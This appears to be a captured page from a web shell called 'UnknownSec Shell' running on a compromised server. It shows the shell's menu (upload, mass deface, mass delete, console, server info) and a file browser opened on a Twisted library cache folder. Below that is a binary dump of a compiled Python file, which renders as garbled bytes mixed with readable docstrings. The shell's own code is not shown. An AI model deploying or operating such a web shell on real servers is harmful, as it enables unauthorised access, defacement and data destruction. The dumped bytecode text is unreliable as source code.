shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
twisted
/
words
/
xish
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
utility.cpython-312.pyc
� Ϫ�f?4 � �p � d Z ddlmZ ddlmZ G d� d� Z G d� d� Z G d� d � Z G d � d � Zy ) z+ Event Dispatching and Callback utilities. � )�log)�xpathc � � e Zd ZdZd� Zd� Zy)�_MethodWrapperz3 Internal class for tracking method calls. c �. � || _ || _ || _ y �N)�method�args�kwargs)�selfr r r s �</usr/lib/python3/dist-packages/twisted/words/xish/utility.py�__init__z_MethodWrapper.__init__ s � � �� ��� � �� � c � � | j |z }| j j � }|j |� | j |i |�� y r )r r �copy�updater )r r r �nargs�nkwargss r �__call__z_MethodWrapper.__call__ sA � �� � �D� ���+�+�"�"�$�����v� ��� � �U�&�g�&r N)�__name__� __module__� __qualname__�__doc__r r � r r r r s � �� � 'r r c �. � e Zd ZdZd� Zd� Zd� Zd� Zd� Zy)� CallbackLista� Container for callbacks. Event queries are linked to lists of callables. When a matching event occurs, these callables are called in sequence. One-time callbacks are removed from the list after the first time the event was triggered. Arguments to callbacks are split spread across two sets. The first set, callback specific, is passed to C{addCallback} and is used for all subsequent event triggers. The second set is passed to C{callback} and is event specific. Positional arguments in the second set come after the positional arguments of the first set. Keyword arguments in the second set override those in the first set. @ivar callbacks: The registered callbacks as mapping from the callable to a tuple of a wrapper for that callable that keeps the callback specific arguments and a boolean that signifies if it is to be called only once. @type callbacks: C{dict} c � � i | _ y r �� callbacks�r s r r zCallbackList.__init__6 s � ���r c �^ � || j vr t |g|��i |��|f| j |< yy)a� Add callback. The arguments passed are used as callback specific arguments. @param onetime: If C{True}, this callback is called at most once. @type onetime: C{bool} @param method: The callback callable to be added. @param args: Positional arguments to the callable. @type args: C{list} @param kwargs: Keyword arguments to the callable. @type kwargs: C{dict} N)r r )r �onetimer r r s r � addCallbackzCallbackList.addCallback9 s7 � � �� � � '�&4�V�&M�d�&M�f�&M�w�%W�D�N�N�6� "� (r c �< � || j v r| j |= yy)zV Remove callback. @param method: The callable to be removed. Nr )r r s r �removeCallbackzCallbackList.removeCallbackK s! � � �T�^�^� #����v�&� $r c �� � t | j j � � D ]! \ }\ }} ||i |�� |s�| j |= �# y# t $ r t j � Y �2w xY w)aD Call all registered callbacks. The passed arguments are event specific and augment and override the callback specific arguments as described above. @note: Exceptions raised by callbacks are trapped and logged. They will not propagate up to make sure other callbacks will still be called, and the event dispatching always succeeds. @param args: Positional arguments to the callable. @type args: C{list} @param kwargs: Keyword arguments to the callable. @type kwargs: C{dict} N)�listr �items� BaseExceptionr �err)r r r �key� methodwrapperr" s r �callbackzCallbackList.callbackU sl � �" .2�$�.�.�2F�2F�2H�-I� (� )�C�)�-�� � �t�.�v�.� ��N�N�3�'� (�� !� ���� � �s �A � A)�(A)c �2 � t | j � dk( S )z[ Return if list of registered callbacks is empty. @rtype: C{bool} r )�lenr r s r �isEmptyzCallbackList.isEmptyo s � � �4�>�>�"�a�'�'r N) r r r r r r# r% r- r0 r r r r r s! � ��* �X�$'�(�4(r r c �B � e Zd ZdZd d�Zd� Zd d�Zd d�Zd� Zd� Z d d �Z y) �EventDispatcherav Event dispatching service. The C{EventDispatcher} allows observers to be registered for certain events that are dispatched. There are two types of events: XPath events and Named events. Every dispatch is triggered by calling L{dispatch} with a data object and, for named events, the name of the event. When an XPath type event is dispatched, the associated object is assumed to be an L{Element<twisted.words.xish.domish.Element>} instance, which is matched against all registered XPath queries. For every match, the respective observer will be called with the data object. A named event will simply call each registered observer for that particular event name, with the data object. Unlike XPath type events, the data object is not restricted to L{Element<twisted.words.xish.domish.Element>}, but can be anything. When registering observers, the event that is to be observed is specified using an L{xpath.XPathQuery} instance or a string. In the latter case, the string can also contain the string representation of an XPath expression. To distinguish these from named events, each named event should start with a special prefix that is stored in C{self.prefix}. It defaults to C{//event/}. Observers registered using L{addObserver} are persistent: after the observer has been triggered by a dispatch, it remains registered for a possible next dispatch. If instead L{addOnetimeObserver} was used to observe an event, the observer is removed from the list of observers after the first observed event. Observers can also be prioritized, by providing an optional C{priority} parameter to the L{addObserver} and L{addOnetimeObserver} methods. Higher priority observers are then called before lower priority observers. Finally, observers can be unregistered by using L{removeObserver}. c �J � || _ i | _ i | _ d| _ g | _ y )Nr )�prefix�_eventObservers�_xpathObservers�_dispatchDepth� _updateQueue)r � eventprefixs r r zEventDispatcher.__init__� s) � �!�� � !�� � !�� � ��� ��r c � � t |t j � r| j }||fS | j |d t | j � k( r| j }||fS t j |� }| j }||fS r )� isinstancer � XPathQueryr6 r4 r/ r5 � internQuery)r �event� observerss r �_getEventAndObserversz%EventDispatcher._getEventAndObservers� s� � � �e�U� -� -� .� �,�,�I� �i� � � �{�{�e�$6�c�$�+�+�&6� 7�7� � 0� 0� � �i� � � �)�)�%�0�� � 0� 0� ��i� � r c �6 � | j d|||g|��i |�� y)z� Register a one-time observer for an event. Like L{addObserver}, but is only triggered at most once. See there for a description of the parameters. TN�� _addObserver�r r> � observerfn�priorityr r s r �addOnetimeObserverz"EventDispatcher.addOnetimeObserver� s$ � � ����$��z�8�M�d�M�f�Mr c �6 � | j d|||g|��i |�� y)a� Register an observer for an event. Each observer will be registered with a certain priority. Higher priority observers get called before lower priority observers. @param event: Name or XPath query for the event to be monitored. @type event: C{str} or L{xpath.XPathQuery}. @param observerfn: Function to be called when the specified event has been triggered. This callable takes one parameter: the data object that triggered the event. When specified, the C{*args} and C{**kwargs} parameters to addObserver are being used as additional parameters to the registered observer callable. @param priority: (Optional) priority of this observer in relation to other observer that match the same event. Defaults to C{0}. @type priority: C{int} FNrB rD s r � addObserverzEventDispatcher.addObserver� s$ � �* ����%�� �H�N�t�N�v�Nr c �> � ������� � j dkD r%� j j ������� fd�� y � j �� \ �}�|vrt � }�|i|�< n!|� } �| vrt � }||� �< n| � } |j ��g���i ��� y )Nr c �6 �� �j ����g� ��i ���S r rB )r r> r rE r" rF r s �������r �<lambda>z.EventDispatcher._addObserver.<locals>.<lambda>� s. �� �)��)�)��U�J���;?��CI�� r )r7 r8 �appendr@ r r# ) r r" r> rE rF r r r? �cbl�priorityObserverss ``````` r rC z EventDispatcher._addObserver� s� �� � � � �� "� � � � $� $�� � � � �5�5�e�<���y� �9� $� �.�C�#(�#�,�I�h� � )�(� 3� �� -�-�"�n��-0� �(�#�E�*�'��.��������=�d�=�f�=r c � � ��� � j dkD r!� j j ��� fd�� y� j �� \ �}g }|j � D ]X \ }}|j � D ]@ \ }}�|k( s� |j �� |j � s�.|j ||f� �B �Z |D ] \ }}|| |= � y)a_ Remove callable as observer for an event. The observer callable is removed for all priority levels for the specified event. @param event: Event for which the observer callable was registered. @type event: C{str} or L{xpath.XPathQuery} @param observerfn: Observer callable to be unregistered. r c �( �� �j � �� S r )�removeObserver)r> rE r s ���r rL z0EventDispatcher.removeObserver.<locals>.<lambda> s �� �T�-@�-@�� �-S� r N)r7 r8 rM r@ r( r% r0 ) r r> rE r? � emptyListsrF rO �query� callbacklists ``` r rR z EventDispatcher.removeObserver� s� �� � � � �� "� � � � $� $�%S� T� � �5�5�e�<���y�� �+4�?�?�+<� =� '�H�'�'8�'>�'>�'@� =�#��|��E�>� �/�/� �;�#�+�+�-�"�)�)�8�U�*;�<� =� =� *� +�O�H�e��(�#�E�*� +r Nc �d �� d}| xj dz c_ �dk7 r| j }�fd�}n| j }d� }t |j � � }|j � |j � g }|D ]^ }|| j � D ]F \ } } || |� s�| j |� d}| j � s�4|j || f� �H �` |D ] \ }} || | = � | xj dz c_ | j dk( r | j D ] } | � � g | _ |S )a� Dispatch an event. When C{event} is L{None}, an XPath type event is triggered, and C{obj} is assumed to be an instance of L{Element<twisted.words.xish.domish.Element>}. Otherwise, C{event} holds the name of the named event being triggered. In the latter case, C{obj} can be anything. @param obj: The object to be dispatched. @param event: Optional event name. @type event: C{str} F� Nc � �� | �k( S r r )rT �objr> s �r rL z*EventDispatcher.dispatch.<locals>.<lambda>( s �� �u��~� r c �$ � | j |� S r )�matches)rT rY s r rL z*EventDispatcher.dispatch.<locals>.<lambda>, s � �u�}�}�S�'9� r Tr ) r7 r5 r6 r' �keys�sort�reverser( r- r0 rM r8 ) r rY r> � foundTargetr? �match� prioritiesrS rF rT rU �fs ` r �dispatchzEventDispatcher.dispatch sJ �� � � � ���q� �� �D�=� �,�,�I�5�E� �,�,�I�9�E��)�.�.�*�+� �������� �� �"� =�H�'0��':�'@�'@�'B� =�#��|����$� �)�)�#�.�"&�K�#�+�+�-�"�)�)�8�U�*;�<� =� =� *� +�O�H�e��(�#�E�*� +� ���q� �� � � �!� #��&�&� ���� � "�D� ��r )z//event/)r r ) r r r r r r@ rG rI rC rR rc r r r r2 r2 y s- � �&�P � � N�O�.>�4 +�>7r r2 c � � e Zd ZdZd� Zy)�XmlPipeaw XML stream pipe. Connects two objects that communicate stanzas through an XML stream like interface. Each of the ends of the pipe (sink and source) can be used to send XML stanzas to the other side, or add observers to process XML stanzas that were sent from the other side. XML pipes are usually used in place of regular XML streams that are transported over TCP. This is the reason for the use of the names source and sink for both ends of the pipe. The source side corresponds with the entity that initiated the TCP connection, whereas the sink corresponds with the entity that accepts that connection. In this object, though, the source and sink are treated equally. Unlike Jabber L{XmlStream<twisted.words.protocols.jabber.xmlstream.XmlStream>}s, the sink and source objects are assumed to represent an eternal connected and initialized XML stream. As such, events corresponding to connection, disconnection, initialization and stream errors are not dispatched or processed. @since: 8.2 @ivar source: Source XML stream. @ivar sink: Sink XML stream. c � � � t � � _ t � � _ � fd�� j _ � fd�� j _ y )Nc �: �� �j j | � S r )�sinkrc �rY r s �r rL z"XmlPipe.__init__.<locals>.<lambda>k s �� �t�y�y�'9�'9�#�'>� r c �: �� �j j | � S r )�sourcerc ri s �r rL z"XmlPipe.__init__.<locals>.<lambda>l s �� �T�[�[�%9�%9�#�%>� r )r2 rk rh �sendr s `r r zXmlPipe.__init__h s. �� �%�'�� �#�%�� �>�� � ��>�� � �r N)r r r r r r r r re re L s � ��6?r re N) r �twisted.pythonr �twisted.words.xishr r r r2 re r r r �<module>ro s@ �� � � $�'� '�"V(� V(�rP� P�f ?� ?r
© 2026 UnknownSec